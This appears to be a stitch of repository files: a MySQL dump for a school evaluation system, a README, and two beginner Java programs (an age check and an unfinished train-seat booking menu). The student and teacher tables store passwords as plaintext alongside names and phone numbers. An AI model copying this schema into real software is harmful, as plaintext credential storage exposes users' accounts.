`filename` varchar(100) COLLATE utf8_bin NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin; -- -- Dumping data for table `files` -- INSERT INTO `files` (`studentid`, `teacherid`, `filename`) VALUES ('1c713632', '19a8508803', '11CS10055.pdf'), ('4496e824', '2259d4a59a', 'a.pdf'), ('4496e824', '2115fda257', 'aa.pdf'), ('4496e824', '4aa6e60e77', 'ab.pdf'), ('4496e824', '0acb65cc66', 'ac.pdf'), ('4496e824', '5f2306baae', 'ad.pdf'), ('59cfcdc4', '20d67cc20c', 'c.pdf'), ('6b84a8a0', '4988665771', '_8fed662f50428a0b9efa89236eeb0974_Lesson-3.pdf'), ('6b84a8a0', '93aa3f4660', '_b2583e6195502e9349150098b5fa7b0a_geometry.pdf'), ('98c2781a', '2259d4a59a', 'adb.pdf'), ('98c2781a', '2115fda257', 'ae.pdf'), ('98c2781a', '4aa6e60e77', 'af.pdf'), ('98c2781a', '0acb65cc66', 'b.pdf'), ('98c2781a', '5f2306baae', 'c.pdf'), ('9a93ffb9', '2259d4a59a', 'u.pdf'), ('9a93ffb9', '2115fda257', 'v.pdf'), ('9a93ffb9', '4aa6e60e77', 'w.pdf'), ('9a93ffb9', '0acb65cc66', 'x.pdf'), ('9a93ffb9', '5f2306baae', 'y.pdf'), ('b441f2f4', '2259d4a59a', 'rec21-sol.pdf'), ('b441f2f4', '2115fda257', 's.pdf'), ('b441f2f4', '4aa6e60e77', 't.pdf'), ('b441f2f4', '0acb65cc66', 'tcs-prepinfo_1.pdf'), ('b441f2f4', '5f2306baae', 'u.pdf'), ('b67f244c', '2259d4a59a', 'B. Sc. (Honours)- Physics.pdf'), ('b67f244c', '19a8508803', 'CHSLE_2019_Notice 19.03.2020.pdf'), ('c8ce61d9', '4988665771', 'i.pdf'), ('c8ce61d9', '8ba4b3c6bf', 'j.pdf'), ('c8ce61d9', '503753a481', 'k.pdf'), ('c8ce61d9', '8fae822153', 'l.pdf'), ('c8ce61d9', 'd97b8d46c0', 'm.pdf'), ('cbc90563', '4988665771', 'd.pdf'), ('cbc90563', '8ba4b3c6bf', 'e.pdf'), ('cbc90563', '503753a481', 'f.pdf'), ('cbc90563', '8fae822153', 'g.pdf'), ('cbc90563', 'd97b8d46c0', 'h.pdf'), ('e9c518dd', '4988665771', 'n.pdf'), ('e9c518dd', '8ba4b3c6bf', 'o.pdf'), ('e9c518dd', '503753a481', 'p.pdf'), ('e9c518dd', '8fae822153', 'q.pdf'), ('e9c518dd', 'd97b8d46c0', 'r.pdf'); -- -------------------------------------------------------- -- -- Table structure for table `marks` -- CREATE TABLE `marks` ( `studentid` varchar(30) COLLATE utf8_bin NOT NULL, `Hindi` int(3) DEFAULT NULL, `English` int(3) DEFAULT NULL, `Physics` int(3) DEFAULT NULL, `Math` int(3) DEFAULT NULL, `Chemistry` int(3) DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin; -- -- Dumping data for table `marks` -- INSERT INTO `marks` (`studentid`, `Hindi`, `English`, `Physics`, `Math`, `Chemistry`) VALUES ('1c713632', NULL, NULL, NULL, 84, NULL), ('4496e824', 90, 78, 92, 95, 89), ('59cfcdc4', NULL, NULL, NULL, 89, NULL), ('6b84a8a0', 80, NULL, NULL, 99, NULL), ('98c2781a', NULL, 81, 85, NULL, NULL), ('9a93ffb9', NULL, 90, 78, NULL, NULL), ('b441f2f4', NULL, 96, 61, NULL, NULL), ('b67f244c', NULL, NULL, NULL, 92, NULL), ('c8ce61d9', NULL, NULL, 86, NULL, NULL), ('cbc90563', NULL, NULL, 89, NULL, NULL), ('e9c518dd', NULL, NULL, 73, NULL, NULL); -- -------------------------------------------------------- -- -- Table structure for table `student` -- CREATE TABLE `student` ( `studentid` varchar(20) COLLATE utf8_bin NOT NULL, `name` varchar(50) COLLATE utf8_bin NOT NULL, `class` int(10) NOT NULL, `image` varchar(100) COLLATE utf8_bin NOT NULL, `city` varchar(50) COLLATE utf8_bin NOT NULL, `contact` varchar(20) COLLATE utf8_bin NOT NULL, `rollno` int(20) NOT NULL, `password` varchar(20) COLLATE utf8_bin NOT NULL, `hindi` varchar(200) COLLATE utf8_bin DEFAULT NULL, `english` varchar(200) COLLATE utf8_bin DEFAULT NULL, `math` varchar(200) COLLATE utf8_bin DEFAULT NULL, `physics` varchar(200) COLLATE utf8_bin DEFAULT NULL, `chemistry` varchar(200) COLLATE utf8_bin DEFAULT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin; -- -- Dumping data for table `student` -- INSERT INTO `student` (`studentid`, `name`, `class`, `image`, `city`, `contact`, `rollno`, `password`, `hindi`, `english`, `math`, `physics`, `chemistry`) VALUES ('1c713632', 'shivam', 12, 'three.jfif', 'sitapur', '7931648251', 55662, 'da141', '1298028938Final-Advt_7211.pdf', '5eaa906a9713e.pdf', '11CS10055.pdf', '2015-AM-Rajbhasha.pdf', '202000044_001.pdf'), ('4496e824', 'aditi', 12, 'eigth.jfif', 'sitapur', '7894561230', 12345, 'fd14c', 'a.pdf', 'aa.pdf', 'ab.pdf', 'ac.pdf', 'ad.pdf'), ('59cfcdc4', '<NAME>', 12, 'seven.jfif', 'sitapur', '6263045230', 80800, '3e979', 'a.pdf', 'b.pdf', 'c.pdf', 'd.pdf', 'e.pdf'), ('6b84a8a0', '<NAME>', 12, 'Its me.jpeg', 'sitapur', '9632585566', 59111, 'a058e', '_8fed662f50428a0b9efa89236eeb0974_Lesson-3.pdf', '_42_ ULB WISE BPL FAMILIES IN CHHATTISGARH _AS PER 2007-08 B.pdf', '_b2583e6195502e9349150098b5fa7b0a_geometry.pdf', '1a76589db599fbc594b0542a35d99615.pdf', '2015-AM-Rajbhasha.pdf'), ('98c2781a', 'ramesh', 12, 'eleven.jfif', 'ambikapur', '7894625632', 88945, 'a4aca', 'adb.pdf', 'ae.pdf', 'af.pdf', 'b.pdf', 'c.pdf'), ('9a93ffb9', 'john', 12, 'nine.jfif', 'pendra', '7539518526', 63014, 'd8b2b', 'u.pdf', 'v.pdf', 'w.pdf', 'x.pdf', 'y.pdf'), ('b441f2f4', 'aarti', 12, 'fourteen.jfif', 'rajnandgaon', '8574120325', 23145, '02935', 'rec21-sol.pdf', 's.pdf', 't.pdf', 'tcs-prepinfo_1.pdf', 'u.pdf'), ('b67f244c', 'avinash', 12, 'siz.jfif', 'bilaspur', '9137468255', 453321, '36b05', 'B. Sc. (Honours)- Physics.pdf', 'Chhattishgarh Figures at a glance.pdf', 'CHSLE_2019_Notice 19.03.2020.pdf', '202000044_001.pdf', 'MTech-lower-higher-SCORE-2018.pdf'), ('c8ce61d9', 'jay', 12, 'five.jfif', 'durg', '8541256321', 85236, 'bdc38', 'i.pdf', 'j.pdf', 'k.pdf', 'l.pdf', 'm.pdf'), ('cbc90563', 'shakshi', 12, 'fifteen.jfif', 'bilaspur', '8523697410', 89562, 'c2080', 'd.pdf', 'e.pdf', 'f.pdf', 'g.pdf', 'h.pdf'), ('e9c518dd', 'yashika', 12, 'four.jfif', 'sitapur', '7895236521', 78945, '9fd07', 'n.pdf', 'o.pdf', 'p.pdf', 'q.pdf', 'r.pdf'); -- -------------------------------------------------------- -- -- Table structure for table `teacher` -- CREATE TABLE `teacher` ( `teacherid` varchar(20) COLLATE utf8_bin NOT NULL, `teachername` varchar(50) COLLATE utf8_bin NOT NULL, `subject` varchar(30) COLLATE utf8_bin NOT NULL, `password` varchar(30) COLLATE utf8_bin NOT NULL, `mobile` varchar(13) COLLATE utf8_bin NOT NULL, `city` varchar(50) COLLATE utf8_bin NOT NULL, `image` varchar(100) COLLATE utf8_bin NOT NULL ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_bin; -- -- Dumping data for table `teacher` -- INSERT INTO `teacher` (`teacherid`, `teachername`, `subject`, `password`, `mobile`, `city`, `image`) VALUES ('0acb65cc66', 'imtijaay', 'physics', '8f180', '8956475845', 'ambikapur', 'fifth.jfif'), ('19a8508803', '<NAME>', 'math', 'ed21e', '8513946752', 'sitapur', 'two.jfif'), ('20d67cc20c', 'ramkumar', 'math', '67ec0', '7023659002', 'lakhanpur', 'twelve.jfif'), ('2115fda257', 'sushil', 'english', 'd22c9', '5623985615', 'pendra', 'nine.jfif'), ('2259d4a59a', '<NAME>', 'hindi', '<PASSWORD>', '7896541526', 'bilaspur', 'ten.jfif'), ('4988665771', 'prabhat', 'hindi', 'f0720', '7852364521', 'bilaspur', 'fourth.jfif'), ('4aa6e60e77', 'om prakash', 'math', '831aa', '8956233265', 'sitapur', 'eight.jfif'), ('503753a481', 'mukesh', 'math', '46e34', '7896541230', 'durg', 'second.jfif'), ('5f2306baae', 'hari om', 'chemistry', '61813', '7896541230', 'sitapur', 'seventh.jfif'), ('8ba4b3c6bf', '<NAME>', 'english', '224a5', '8523697410', 'bhilai', 'third.jfif'), ('8fae822153', '<NAME>', 'physics', '34ee6', '8956233265', 'ambikapur', 'sixth.jfif'), ('93aa3f4660', '<NAME>', 'math', 'd22f3', '8731652965', 'hydarabad', 'pp.jpg'), ('d97b8d46c0', 'rajkumar', 'chemistry', 'cf904', '7896541236', 'raipur', 'first.jfif'); -- -- Indexes for dumped tables -- -- -- Indexes for table `admin` -- ALTER TABLE `admin` ADD PRIMARY KEY (`id`); -- -- Indexes for table `files` -- ALTER TABLE `files` ADD PRIMARY KEY (`studentid`,`filename`), ADD UNIQUE KEY `studentid` (`studentid`,`filename`); -- -- Indexes for table `marks` -- ALTER TABLE `marks` ADD PRIMARY KEY (`studentid`); -- -- Indexes for table `student` -- ALTER TABLE `student` ADD PRIMARY KEY (`studentid`), ADD UNIQUE KEY `UC_Person` (`rollno`), ADD UNIQUE KEY `studentid` (`studentid`); -- -- Indexes for table `teacher` -- ALTER TABLE `teacher` ADD PRIMARY KEY (`teacherid`), ADD UNIQUE KEY `teacherid` (`teacherid`); -- -- AUTO_INCREMENT for dumped tables -- -- -- AUTO_INCREMENT for table `admin` -- ALTER TABLE `admin` MODIFY `id` int(11) NOT NULL AUTO_INCREMENT, AUTO_INCREMENT=5; COMMIT; /*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */; /*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */; /*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
d2125bc3eb967eeb691af0d098bfe7fe424e9cc3
[ "Markdown", "SQL" ]
2
Markdown
erpranavknigam/e-valuation-system
1065348b3c61a9011aaa90e54552348072b2ca7c
eb19c48946e7f549141bd97c0468c8cf6bb7aa05
refs/heads/master
<repo_name>infopro94/sinatra-mvc-lab-v-000<file_sep>/models/piglatinizer.rb require 'pry' class PigLatinizer #rules of pig latin - if words: #begin with consonants all c's before 1st vowel are added to ay at end #begin w/cluster of consonants all c's before 1st vowel are added to ay at end #begin with vowel add "way" or "yay" to end def piglatinize(word) vowels = ["a", "e", "i", "o", "u"] consonants = "" if word == "I" || word == "A" word + "way" elsif vowels.include?(word[0].downcase) word + "way" elsif !vowels.include?(word[0]) && !vowels.include?(word[1]) && !vowels.include?(word[2]) word2 = word.split("")[3..-1].join word2 + word[0] + word[1] + word[2] + "ay" elsif !vowels.include?(word[0]) && !vowels.include?(word[1]) word2 = word.split("")[2..-1].join word2 + word[0] + word[1] + "ay" elsif !vowels.include?(word[0]) word2 = word.split("")[1..-1].join word2 + word[0] + "ay" end end def to_pig_latin(string) string.split.collect{|word| piglatinize(word)}.join(" ") end end
979e131dbc73d5dee0de692d88baff371f0e2d1a
[ "Ruby" ]
1
Ruby
infopro94/sinatra-mvc-lab-v-000
bc9ab280ddd3c2803be2f44951eba943260dc047
6322043e62ff55405dd3ce71aaa49d9a7431518a
refs/heads/master
<repo_name>xuww-alfie/learn-springboot<file_sep>/springboot-features/src/main/java/com/learn/springboot/SpringBootFeatures.java package com.learn.springboot; import org.springframework.boot.SpringApplication; /** * 文件描述 * * @ProjectName: learn-springboot * @Package: com.learn.springboot * @Description: note * @Author: alfie-xuww * @CreateDate: 2019/3/19 14:55 * @UpdateUser: XUWW * @UpdateDate: 2019/3/19 14:55 * @UpdateRemark: The modified content * @Version: 1.0 * <p> * Copyright © 2019 Hundsun Technologies Inc. All Rights Reserved **/ public class SpringBootFeatures { public static void main(String[] args) { SpringApplication.run(SpringBootFeatures.class); } } <file_sep>/springboot-chapter1/Springboot Chapter1.md ## Springboot 学习 ### 启动与配置 #### 知识点 1. 使用`java -java`命令启动jar包或者使用传统的war包启动方式,同时spring提供了可以执行spring scripts命令的命令行工具。 2. 系统要求,Spring Boot 2.1.3 | 工具 | 版本 | | ---------------- | ------- | | Maven | 3.3 + | | Gradle | 4.4 + | | JDK | 8 + | | Spring Framework | 5.1.5 + | 3. pom文件参照以下修改,主要是`parent` 标签中的`spring-boot-starter-parent`,如果是web项目的话,则需要添加`spring-boot-starter-web` 依赖。 ```properties <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>com.learn.springboot</groupId> <artifactId>learn-springboot</artifactId> <packaging>pom</packaging> <version>1.0-SNAPSHOT</version> <modules> <module>springboot-chapter1</module> </modules> <!-- Inherit defaults from Spring Boot --> <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.1.3.RELEASE</version> </parent> <!-- Add typical dependencies for a web application --> <dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> </dependencies> <!-- Package as an executable jar --> <!-- 使用spring-boot自带的maven插件,打包之后的jar包可以执行 --> <build> <plugins> <plugin> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-maven-plugin</artifactId> </plugin> </plugins> </build> </project> ``` #### 实例 创建一个maven项目( 也可以使用gradle进行构建 ),pom文件引入以上依赖,创建下面这个Example.java ```java import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.EnableAutoConfiguration; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; @RestController @EnableAutoConfiguration public class Example { @RequestMapping("/") String home() { return "hello spring boot"; } public static void main(String[] args) { SpringApplication.run(Example.class, args); } } ``` 启动main函数,在浏览器上输入`127.0.0.1:8080` ,获得返回结果 > hello spring boot 打包,在项目目录下输入`mvn package` 命令进行打包,如果不成功,可以先执行`mvn clean` ```vim D:\learn-springboot>mvn package [INFO] Scanning for projects... [INFO] [INFO] ---------------< com.learn.springboot:learn-springboot >---------------- [INFO] Building learn-springboot 1.0-SNAPSHOT [INFO] --------------------------------[ jar ]--------------------------------- [INFO] [INFO] --- maven-resources-plugin:3.1.0:resources (default-resources) @ learn-springboot --- [INFO] Using 'UTF-8' encoding to copy filtered resources. [INFO] Copying 0 resource [INFO] Copying 0 resource [INFO] [INFO] --- maven-compiler-plugin:3.8.0:compile (default-compile) @ learn-springboot --- [INFO] Changes detected - recompiling the module! [INFO] Compiling 1 source file to D:\WorkSpace\Xuww\GitHub Repository\learn-springboot\target\classes [INFO] [INFO] --- maven-resources-plugin:3.1.0:testResources (default-testResources) @ learn-springboot --- [INFO] Using 'UTF-8' encoding to copy filtered resources. [INFO] skip non existing resourceDirectory D:\WorkSpace\Xuww\GitHub Repository\learn-springboot\src\test\resources [INFO] [INFO] --- maven-compiler-plugin:3.8.0:testCompile (default-testCompile) @ learn-springboot --- [INFO] Nothing to compile - all classes are up to date [INFO] [INFO] --- maven-surefire-plugin:2.22.1:test (default-test) @ learn-springboot --- [INFO] No tests to run. [INFO] [INFO] --- maven-jar-plugin:3.1.1:jar (default-jar) @ learn-springboot --- [INFO] Building jar: D:\WorkSpace\Xuww\GitHub Repository\learn-springboot\target\learn-springboot-1.0-SNAPSHOT.jar [INFO] [INFO] --- spring-boot-maven-plugin:2.1.3.RELEASE:repackage (repackage) @ learn-springboot --- [INFO] Replacing main artifact with repackaged archive [INFO] ------------------------------------------------------------------------ [INFO] BUILD SUCCESS [INFO] ------------------------------------------------------------------------ [INFO] Total time: 3.466 s [INFO] Finished at: 2019-03-01T16:48:13+08:00 [INFO] ------------------------------------------------------------------------ ``` 执行 `jar tvf jar包名称`,可以查看jar包中详细目录和依赖的jar包,可以参考jar命令用法。 ``` D:\learn-springboot\target>jar tvf learn-springboot-1.0-SNAPSHOT.jar 0 Fri Mar 01 16:48:12 CST 2019 META-INF/ 538 Fri Mar 01 16:48:12 CST 2019 META-INF/MANIFEST.MF 0 Fri Mar 01 16:48:12 CST 2019 org/ 0 Fri Mar 01 16:48:12 CST 2019 org/springframework/ 0 Fri Mar 01 16:48:12 CST 2019 org/springframework/boot/ 0 Fri Mar 01 16:48:12 CST 2019 org/springframework/boot/loader/ 0 Fri Mar 01 16:48:12 CST 2019 org/springframework/boot/loader/data/ 2688 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/data/RandomAccessDataFile$DataInputStream.class 0 Fri Mar 01 16:48:12 CST 2019 org/springframework/boot/loader/jar/ 5267 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/jar/CentralDirectoryFileHeader.class 3263 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/data/RandomAccessDataFile$FileAccess.class 0 Fri Mar 01 16:48:12 CST 2019 org/springframework/boot/loader/archive/ 1487 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/archive/ExplodedArchive$FileEntryIterator$EntryComparator.class 3837 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/archive/ExplodedArchive$FileEntryIterator.class 282 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/data/RandomAccessDataFile$1.class 3116 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/jar/CentralDirectoryEndRecord.class 11548 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/jar/Handler.class 5243 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/archive/ExplodedArchive.class 4015 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/data/RandomAccessDataFile.class 4624 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/jar/CentralDirectoryParser.class 1813 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/jar/ZipInflaterInputStream.class 302 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/archive/Archive$Entry.class 273 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/archive/ExplodedArchive$1.class 485 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/data/RandomAccessData.class 437 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/archive/Archive$EntryFilter.class 7336 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/archive/JarFileArchive.class 1953 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/PropertiesLauncher$PrefixMatchingArchiveFilter.class 1484 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/PropertiesLauncher$ArchiveEntryFilter.class 266 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/PropertiesLauncher$1.class 19737 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/PropertiesLauncher.class 4684 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/Launcher.class 1502 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/MainMethodRunner.class 3608 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/ExecutableArchiveLauncher.class 1721 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/WarLauncher.class 1585 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/JarLauncher.class 0 Fri Mar 01 16:48:12 CST 2019 org/springframework/boot/loader/util/ 5203 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/util/SystemPropertyUtils.class 1535 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/LaunchedURLClassLoader$UseFastConnectionExceptionsEnumeration.class 5699 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/LaunchedURLClassLoader.class 616 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/jar/Bytes.class 702 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/jar/JarURLConnection$1.class 1779 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/archive/JarFileArchive$EntryIterator.class 4306 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/jar/JarURLConnection$JarEntryName.class 1081 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/archive/JarFileArchive$JarFileEntry.class 9854 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/jar/JarURLConnection.class 945 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/archive/Archive.class 1233 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/jar/JarFile$2.class 2062 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/jar/JarFile$1.class 1374 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/jar/JarFile$JarFileType.class 15076 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/jar/JarFile.class 4976 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/jar/AsciiBytes.class 1593 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/jar/JarFileEntries$1.class 2046 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/jar/JarFileEntries$EntryIterator.class 540 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/jar/CentralDirectoryVisitor.class 299 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/jar/JarEntryFilter.class 3619 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/jar/JarEntry.class 345 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/jar/FileHeader.class 3650 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/jar/StringSequence.class 14087 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/jar/JarFileEntries.class 1102 Fri Feb 15 10:26:10 CST 2019 org/springframework/boot/loader/archive/ExplodedArchive$FileEntry.class 0 Fri Mar 01 16:48:12 CST 2019 BOOT-INF/ 0 Fri Mar 01 16:48:12 CST 2019 BOOT-INF/classes/ 0 Fri Mar 01 16:48:14 CST 2019 BOOT-INF/classes/com/ 0 Fri Mar 01 16:48:14 CST 2019 BOOT-INF/classes/com/learn/ 0 Fri Mar 01 16:48:14 CST 2019 BOOT-INF/classes/com/learn/springboot/ 0 Fri Mar 01 16:48:14 CST 2019 META-INF/maven/ 0 Fri Mar 01 16:48:14 CST 2019 META-INF/maven/com.learn.springboot/ 0 Fri Mar 01 16:48:14 CST 2019 META-INF/maven/com.learn.springboot/learn-springboot/ 985 Fri Mar 01 16:48:14 CST 2019 BOOT-INF/classes/com/learn/springboot/Example.class 1285 Fri Mar 01 16:44:46 CST 2019 META-INF/maven/com.learn.springboot/learn-springboot/pom.xml 113 Fri Mar 01 16:48:14 CST 2019 META-INF/maven/com.learn.springboot/learn-springboot/pom.properties 0 Fri Mar 01 16:48:12 CST 2019 BOOT-INF/lib/ 406 Fri Feb 15 10:41:44 CST 2019 BOOT-INF/lib/spring-boot-starter-web-2.1.3.RELEASE.jar 398 Fri Feb 15 10:41:22 CST 2019 BOOT-INF/lib/spring-boot-starter-2.1.3.RELEASE.jar 948706 Fri Feb 15 10:08:36 CST 2019 BOOT-INF/lib/spring-boot-2.1.3.RELEASE.jar 1257845 Fri Feb 15 10:18:16 CST 2019 BOOT-INF/lib/spring-boot-autoconfigure-2.1.3.RELEASE.jar 407 Fri Feb 15 10:41:22 CST 2019 BOOT-INF/lib/spring-boot-starter-logging-2.1.3.RELEASE.jar 290339 Fri Mar 31 21:27:54 CST 2017 BOOT-INF/lib/logback-classic-1.2.3.jar 471901 Fri Mar 31 21:27:16 CST 2017 BOOT-INF/lib/logback-core-1.2.3.jar 41203 Thu Mar 16 17:36:32 CST 2017 BOOT-INF/lib/slf4j-api-1.7.25.jar 17522 Tue Feb 05 18:14:24 CST 2019 BOOT-INF/lib/log4j-to-slf4j-2.11.2.jar 266283 Tue Feb 05 18:11:30 CST 2019 BOOT-INF/lib/log4j-api-2.11.2.jar 4596 Thu Mar 16 17:37:48 CST 2017 BOOT-INF/lib/jul-to-slf4j-1.7.25.jar 26586 Wed Feb 21 15:54:16 CST 2018 BOOT-INF/lib/javax.annotation-api-1.3.2.jar 1293377 Wed Feb 13 05:32:02 CST 2019 BOOT-INF/lib/spring-core-5.1.5.RELEASE.jar 23725 Wed Feb 13 05:31:54 CST 2019 BOOT-INF/lib/spring-jcl-5.1.5.RELEASE.jar 301298 Mon Aug 27 16:23:36 CST 2018 BOOT-INF/lib/snakeyaml-1.23.jar 405 Fri Feb 15 10:41:44 CST 2019 BOOT-INF/lib/spring-boot-starter-json-2.1.3.RELEASE.jar 1347236 Sat Dec 15 21:59:06 CST 2018 BOOT-INF/lib/jackson-databind-2.9.8.jar 66519 Sat Jul 29 20:53:26 CST 2017 BOOT-INF/lib/jackson-annotations-2.9.0.jar 325619 Sat Dec 15 13:19:12 CST 2018 BOOT-INF/lib/jackson-core-2.9.8.jar 33391 Sat Dec 15 23:06:14 CST 2018 BOOT-INF/lib/jackson-datatype-jdk8-2.9.8.jar 100674 Sat Dec 15 23:06:24 CST 2018 BOOT-INF/lib/jackson-datatype-jsr310-2.9.8.jar 8642 Sat Dec 15 23:06:04 CST 2018 BOOT-INF/lib/jackson-module-parameter-names-2.9.8.jar 406 Fri Feb 15 10:41:44 CST 2019 BOOT-INF/lib/spring-boot-starter-tomcat-2.1.3.RELEASE.jar 3287907 Mon Feb 04 16:31:00 CST 2019 BOOT-INF/lib/tomcat-embed-core-9.0.16.jar 250080 Mon Feb 04 16:31:02 CST 2019 BOOT-INF/lib/tomcat-embed-el-9.0.16.jar 265364 Mon Feb 04 16:31:02 CST 2019 BOOT-INF/lib/tomcat-embed-websocket-9.0.16.jar 1155701 Fri Jan 04 14:52:48 CST 2019 BOOT-INF/lib/hibernate-validator-6.0.14.Final.jar 93107 Tue Dec 19 16:23:28 CST 2017 BOOT-INF/lib/validation-api-2.0.1.Final.jar 66469 Wed Feb 14 13:23:28 CST 2018 BOOT-INF/lib/jboss-logging-3.3.2.Final.jar 66540 Tue Mar 27 18:35:34 CST 2018 BOOT-INF/lib/classmate-1.4.0.jar 1381453 Wed Feb 13 05:32:56 CST 2019 BOOT-INF/lib/spring-web-5.1.5.RELEASE.jar 672558 Wed Feb 13 05:32:08 CST 2019 BOOT-INF/lib/spring-beans-5.1.5.RELEASE.jar 800464 Wed Feb 13 05:33:32 CST 2019 BOOT-INF/lib/spring-webmvc-5.1.5.RELEASE.jar 368947 Wed Feb 13 05:32:22 CST 2019 BOOT-INF/lib/spring-aop-5.1.5.RELEASE.jar 1099682 Wed Feb 13 05:32:30 CST 2019 BOOT-INF/lib/spring-context-5.1.5.RELEASE.jar 280409 Wed Feb 13 05:32:24 CST 2019 BOOT-INF/lib/spring-expression-5.1.5.RELEASE.jar ``` 执行`java -jar learn-springboot-1.0-SNAPSHOT.jar`,在浏览器上输入`http://127.0.0.1:8080/`,可以看到一下效果 > hello spring boot #### 注解 @RestController 告诉spring,把结果直接以字符串形式返回给调用者。 @RequestMapping 提供路由信息。 @EnableAutoConfigration 加上该注解,springboot会基于依赖的jar包进行自动配置,如果依赖了`spring-boot-starter-web` 这个jar包,spring boot就会以web项目的配置进行启动。 > 自动配置注解是为了配合`starters` 设计的,但是两者之间没有必要的联系,因为在starter依赖之外,仍然可以配置其他的jar包依赖,spring boot的自动配置会根据这些依赖决定使用哪种配置。
ca037fd9311f5e226d201bab9ae763611c76104f
[ "Markdown", "Java" ]
2
Java
xuww-alfie/learn-springboot
6ee81e657257c43b6631f3630a6db656155a3b32
f5fb0c31ef679129b7a51a847ac996158030d3e5
refs/heads/master
<repo_name>L-Alefe/Questoes-java<file_sep>/Informacoes.java package Atividades; import java.util.Scanner; public class Informacoes { public static Scanner leia = new Scanner (System.in); public static String maior(boolean maior){ String result; if(maior){ result = "Você já é de maior!"; }else{ result = "Você ainda é de menor!"; } return result; } public static void main (String args[]){ float idade; boolean maior; System.out.print("Digite sua idade: "); idade = leia.nextInt(); if(idade >= 18){ maior = true; }else{ maior = false; } System.out.println(maior(maior)); } } <file_sep>/README.md # Quest-o-do-Trem Código java simples para gerenciamento de matriz. <file_sep>/Questoes.java package Atividades; import java.util.Scanner; public class Questoes { public static Scanner leia = new Scanner (System.in); public static void main (String args[]){ int vag; int lugar; boolean querer = false; int vfinal = 0; int matriz[][] = new int[6][6]; do{ System.out.println("1 - R$100,00"); System.out.println("2 - R$200,00"); System.out.println("3 - R$300,00"); System.out.println("Escolha o seu vagão: "); vag = leia.nextInt(); switch(vag){ case 1: System.out.println("Escolha o seu assento: "); lugar = leia.nextInt(); if(matriz[vag][lugar] != 1){ System.out.println("Escolha efetuada com sucesso!!!"); matriz[vag][lugar] = 1; vfinal += 100; }else{ System.out.println("Assento já escolhido nesse vagão!!!"); } break; case 2: System.out.println("Escolha o seu assento: "); lugar = leia.nextInt(); if(matriz[vag][lugar] != 1){ System.out.println("Escolha efetuada com sucesso!!!"); matriz[vag][lugar] = 1; vfinal += 200; }else{ System.out.println("Assento já escolhido nesse vagão!!!"); } break; case 3: System.out.println("Escolha o seu assento no 3: "); lugar = leia.nextInt(); System.out.println(lugar); if(matriz[vag][lugar] != 1){ 